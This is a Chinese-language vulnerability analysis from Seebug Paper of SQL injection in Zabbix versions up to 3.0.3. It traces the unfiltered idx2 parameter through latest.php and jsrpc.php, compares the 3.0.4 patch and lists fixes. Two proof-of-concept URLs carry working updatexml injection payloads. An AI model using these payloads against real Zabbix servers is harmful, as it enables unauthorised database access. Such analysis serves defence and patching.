文章作者: DshtAnger@知道創宇404安全實驗室

Seebug漏洞聯動: https://www.seebug.org/vuldb/ssvid-92302

一、漏洞概述

1. 漏洞簡介

Zabbix是一個基于WEB界面的提供分布式系統監視以及網絡監視功能的企業級的開源解決方案。能監視各種網絡參數,保證服務器系統的安全運營;并提供靈活的通知機制以讓系統管理員快速定位、解決存在的各種問題。

由于insertDB()函數對可控參數過濾不當,導致SQL注入。

2. 漏洞影響

攻擊者可以在通過SQL注入獲取數據庫的訪問權限。攻擊者以管理員身份登陸后臺后,可以實現在放置數據庫的服務器執行任意系統命令。

3. 漏洞觸發條件

版本:2.0.x2.2.x2.4.x2.53.0.0-3.0.3 登陸:以下兩種觸發方式,都需要系統未關閉默認開啟的guest賬戶登陸,或者擁有其他可登陸的賬戶。

二、漏洞復現(以3.0.3為例)

1. 環境搭建

Docker ubuntu 14.04 zabbix 3.0.3 源碼編譯安裝

tar -zxvf zabbix-3.0.3.tar.gz

cd zabbix-3.0.3/database/mysql

配置數據庫:

shell> mysql -uroot -p<password>
mysql> create database zabbix character set utf8 collate utf8_bin;
mysql> grant all privileges on zabbix.* to zabbix@localhost identified by 'zabbix';
mysql> quit;
shell> mysql -uzabbix -pzabbix zabbix < schema.sql
# stop here if you are creating database for Zabbix proxy
shell> mysql -uzabbix -p<password> zabbix < images.sql
shell> mysql -uzabbix -p<password> zabbix < data.sql

編譯: ./configure --enable-server --enable-agent --enable-java --with-unixodbc --with-mysql --with-libcurl --with-libxml2 --with-openssl --with-net-snmp --with-ldap

編譯過程可能遇到如下依賴問題:

  1. configure: error: MySQL library not found
    apt-get install libmysqld-dev

  2. configure: error: unixODBC library not found
    apt-get install unixodbc-dev

  3. configure: error: Curl library not found
    apt-get install libcurl3-dev

  4. configure: error: Unable to find "javac"executable in path
    apt-get install openjdk-7-jdk

  5. configure: error: Invalid Net-SNMP directory - unableto find net-snmp-config
    apt-get install libsnmp-dev,snmp

  6. configure: error: Invalid LDAP directory - unable tofind ldap.h
    apt-getinstall libldap2-dev

安裝: make install

修改zabbix server配置文件:

# vi /etc/zabbix/zabbix_server.conf
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=zabbix

前端配置文件:

# vi /etc/apache2/conf-enabled/zabbix.conf
php_value max_execution_time 300
php_value memory_limit 128M
php_value post_max_size 16M
php_value upload_max_filesize 2M
php_value max_input_time 300
php_value always_populate_raw_post_data -1
php_value date.timezone Asia/Shanghai

安裝前端: 在瀏覽器打開,http://zabbix按提示進行安裝

2. 漏洞函數分析

該漏洞函數為CProfile.php中277行的insertDB()

private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        //關鍵點,可控變量,未用zbx_dbstr()進行過濾
        'idx2' => $idx2
    ];

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

zbx_dbstr()實際上就是mysql_real_escape_string(),會對單引號、雙引號等特殊字符做轉義

function zbx_dbstr($var) {
    ......
    switch ($DB['TYPE']) {
    ......
        case ZBX_DB_MYSQL:
            if (is_array($var)) {
                foreach ($var as $vnum => $value) {
                    $var[$vnum] = "'".mysqli_real_escape_string($DB['DB'], $value)."'";
                }
                return $var;
            }
            return "'".mysqli_real_escape_string($DB['DB'], $var)."'";

insertDB()調用db.inc.php中499行的DBexecute()也沒有進行過濾,直接執行:

fu1nction DBexecute($query, $skip_error_messages = 0) {
    ......
    case ZBX_DB_MYSQL:
    //關鍵點,未過濾,直接執行查詢函數
    if (!$result = mysqli_query($DB['DB'], $query)) {
        error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
    }
    break;
    ......
}

注意$idx2可控,未被過濾,為第4個參數

3. latest.php頁面漏洞觸發分析

3.1 漏洞代碼分析

latest.php中,70行

if (hasRequest('favobj')) {
    if ($_REQUEST['favobj'] == 'toggle') {
        if (!is_array($_REQUEST['toggle_ids'])) {
            if ($_REQUEST['toggle_ids'][1] == '_') {
                $hostId = substr($_REQUEST['toggle_ids'], 2);
                CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
            }
            else {
                $applicationId = $_REQUEST['toggle_ids'];
                CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
            }
        }
        else {
            foreach ($_REQUEST['toggle_ids'] as $toggleId) {
                if ($toggleId[1] == '_') {
                    $hostId = substr($toggleId, 2);
                    CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
                }
                else {
                    $applicationId = $toggleId;
                    CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
                }
            }
        }
    }
}

提交參數favobj=toggle時傳入的數組參數toggle_ids總是能進入CProfile::update()中的第4個參數,跟進CProfile.php中209行:

public static function update($idx, $value, $type, $idx2 = 0) {
    ......
    if (is_null($current)) {
        if (!isset(self::$insert[$idx])) {
            self::$insert[$idx] = [];
        }
        self::$insert[$idx][$idx2] = $profile;
    }
    else {
        if ($current != $value) {
            if (!isset(self::$update[$idx])) {
                self::$update[$idx] = [];
            }
            self::$update[$idx][$idx2] = $profile;
        }
    }
    if (!isset(self::$profiles[$idx])) {
        self::$profiles[$idx] = [];
    }
    self::$profiles[$idx][$idx2] = $value;
    ......
}

update()對一系列成員變量進行賦值更新

傳入的toggle_ids成為$idx2這個變量,該變量可控

回到latest.php中99行,page_footer.php被包含進來執行

if((PAGE_TYPE_JS == $page['type']) || (PAGE_TYPE_HTML_BLOCK == $page['type'])){
    require_once dirname(__FILE__).'/include/page_footer.php';
    exit;
}

跟進到page_footer.php,38行

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

跟到CProfile.php中,isModified()定義:

public static function isModified() {
        return (self::$insert || self::$update);
    }

latest.php中70行代碼塊調用CProfile::update()$insert$update等進行賦值,所以該latest.php會執行到上面的if語句塊中

if語句塊中第二句調用CProfile::flush(),從CProfile::$insert中取出相應的值,并進行insertDB操作:

public static function flush() {
    ......
    foreach (self::$insert as $idx => $profile) {
        foreach ($profile as $idx2 => $data) {
            $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
        }
    }
    ......
    return $result;
}

最終調用了存在SQL注入的insertDB()$idx2可控

總結調用流程: latest.php: $_REQUEST['toggle_ids'] ---> CProfile::update() ---> require_once() ---> CProfile::flush() ---> CProfile::insertDB() ---> CProfile::DBexecute()

PoC: 需要在登陸的時候抓包取得sid,或者從登陸后的頁面源碼中取得sid(僅3.0.x適用)

.../zabbix/latest.php?output=ajax&sid=b5ddf30e6b2e5899&favobj=toggle&toggle_open_state=1&toggle_ids[]=6666+or+updatexml(1,concat(0x23,(select+user()),0x23),1)+or+1=1)%23

3.2 補丁對比

zabbix 最新版3.0.4中,刪除了latest.php從外部獲取toggle_ids的代碼,沒有了可控的參數,這個點已經無法注入

同時修復了CProfile::insertDB()的缺陷,增加了對$idx2的過濾。

// zabbix 3.0.3 CProfile.php 277行
private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);
    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        //關鍵點,未進行過濾
        'idx2' => $idx2
    ];
    ......
}
// zabbix 3.0.4 CProfile.php 277行
private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);
    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        //關鍵點,使用zbx_dbstr()進行過濾
        'idx2' => zbx_dbstr($idx2)
    ];
    ......
}

4. jsrpc.php頁面漏洞觸發分析

4.1 漏洞代碼分析

jsrpc.php中180行

......
if ($requestType == PAGE_TYPE_JSON) {
    $http_request = new CHttpRequest();
    $json = new CJson();
    $data = $json->decode($http_request->body(), true);
}
else {
    //關鍵點,獲取輸入參數
    $data = $_REQUEST;
}
......
if (!is_array($data) || !isset($data['method'])
        || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {
    fatal_error('Wrong RPC call to JS RPC!');
}
......
switch ($data['method']) {
    case 'host.get':
    ......
    case 'message.mute':
    .......
    case 'screen.get':
        $result = '';
        //關鍵點
        $screenBase = CScreenBuilder::getScreen($data);
        if ($screenBase !== null) {
            $screen = $screenBase->get();

            if ($data['mode'] == SCREEN_MODE_JS) {
                $result = $screen;
            }
            else {
                if (is_object($screen)) {
                    $result = $screen->toString();
                }
            }
        }
    ......
    }
......

$data獲得所有傳入參數,可控

type必須傳入,且不能為常量PAGE_TYPE_JSON(6),defines.inc.php中定義常量

method賦值為screen.get,調用CScreenBuilder::getScreen($data),跟進到CScreenBuilder.php中171行:

public static function getScreen(array $options = []) {
    ......
    if ($options['resourcetype'] === null) {
                return null;
            }
    switch ($options['resourcetype']) {
        case SCREEN_RESOURCE_GRAPH:
            return new CScreenGraph($options);
        ......
        case SCREEN_RESOURCE_DISCOVERY:
            return new CScreenDiscovery($options);
        default:
            return null;
        }
}

提交參數時如果設置resourcetype,然后一系列可能的返回都是一個繼承自CScreenBase的實例,以resourcetype=17為例,CScreenHostTriggers無自己的構造方法,實例化的時候將執行父類CScreenBase的構造方法.

class CScreenHostTriggers extends CScreenBase {.....}
class CScreenHistory extends CScreenBase {......)

跟進到CScreenBase.php中的構造方法:

public function __construct(array $options = []) {
    ......
    // Get resourcetype.
    if ($this->resourcetype === null && array_key_exists('resourcetype',$this->screenitem)) {
        $this->resourcetype = $this->screenitem['resourcetype'];
    }
    foreach ($this->parameters as $pname => $default_value) {
        if ($this->required_parameters[$pname]) {
            $this->$pname = array_key_exists($pname, $options) ? $options[$pname] : $default_value;
        }
    }

    // Get page file.
    if ($this->required_parameters['pageFile'] && $this->pageFile === null) {
        global $page;
        $this->pageFile = $page['file'];
    }

    // Calculate timeline.
    if ($this->required_parameters['timeline'] && $this->timeline === null) {
        //關鍵函數調用calculateTime()
        $this->timeline = $this->calculateTime([
            'profileIdx' => $this->profileIdx,
            //關鍵參數
            'profileIdx2' => $this->profileIdx2,
            'updateProfile' => $this->updateProfile,
            'period' => array_key_exists('period', $options) ? $options['period'] : null,
            'stime' => array_key_exists('stime', $options) ? $options['stime'] : null
        ]);
    }
}

如果傳入profileIdx2參數,它將未經任何過濾地傳給CScreenBase::calculateTime(),跟進到CScreenBase.php中425行

public static function calculateTime(array $options = []) {
......
if ($options['updateProfile'] && !empty($options['profileIdx'])) {
        //關鍵點
        CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
            }
    ......
}

發現CProfile::update()被調用,且$options['profileIdx2']為第4個參數,即形參$idx2。如果再insertDB()被調用時,profileIdx2參數被帶進最終執行語句.

返回到jsrpc.php中調用CScreenBuilder::getScreen($data)后的部分

$screenBase = CScreenBuilder::getScreen($data);
if ($screenBase !== null) {
    $screen = $screenBase->get();

    if ($data['mode'] == SCREEN_MODE_JS) {
        $result = $screen;
    }
    else {
        if (is_object($screen)) {
            $result = $screen->toString();
        }
    }
}

$screenBase不能為null意味著必須設置resourcetype參數 要使參數提交結果返回,需要設置mode參數不為3或者不設置

jsrpc.php末尾包含進page_footer.php,最終調用缺陷函數CProfile::insertDB()profileIdx2參數被執行,產生注入.

總結調用流程: $data = $_REQUEST ---> CScreenBuilder::getScreen() ---> CScreenBase::__construct() ---> CScreenBase::calculateTime() ---> CProfile::update() ---> CScreenBase::get() ---> require_once() ---> CProfile::flush() ---> CProfile::insertDB() ---> CProfile::DBexecute()

PoC:

.../zabbix/jsrpc.php?type=9&method=screen.get&profileIdx=1&updateProfile=1&mode=2&screenid=&groupid=&hostid=0&pageFile=1&action=showlatest&filter=&filter_task=&mark_color=1&resourcetype=16&profileIdx2=666+or+updatexml(1,concat(0x23,(select+user()),0x23),1)+or+1=1)%23

4.2 補丁對比

zabbix 最新版3.0.4中,沒有對jsrpc.php頁面進行任何改動,仍然能傳入任意參數。但是修復了CProfile::insertDB()的缺陷,增加了對$idx2的過濾。

// zabbix 3.0.3 CProfile.php 277行
private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);
    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        //關鍵點,未進行過濾
        'idx2' => $idx2
    ];
    ......
}
// zabbix 3.0.4 CProfile.php 277行
private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);
    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        //關鍵點,使用zbx_dbstr()進行過濾
        'idx2' => zbx_dbstr($idx2)
    ];
    ......
}

5. 修復意見

  1. 更新到最新3.0.4版本,補丁詳情:https://support.zabbix.com/browse/ZBX-11023
  2. 禁用guest登陸功能
  3. 修改管理員賬戶默認密碼

三、參考

  • https://www.seebug.org/vuldb/ssvid-92301
  • https://www.seebug.org/vuldb/ssvid-92302
  • https://support.zabbix.com/browse/ZBX-11023
  • https://packetstormsecurity.com/files/138312

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/22/